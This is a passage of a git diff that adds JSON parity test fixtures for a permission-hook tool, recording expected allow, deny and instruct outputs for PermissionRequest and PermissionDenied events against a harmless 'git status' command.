"session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b816d7ac --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c92449f9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f04e2257 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e7b3846b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b086501a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ec1f5b88 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c65db538 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..27bf91d2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7086b13f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6c3df68c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c4c50c0c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..37588425 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9d391046 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..feec9189 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..060a563c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9a3cfebd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c15ba6e5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4e31e35b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": 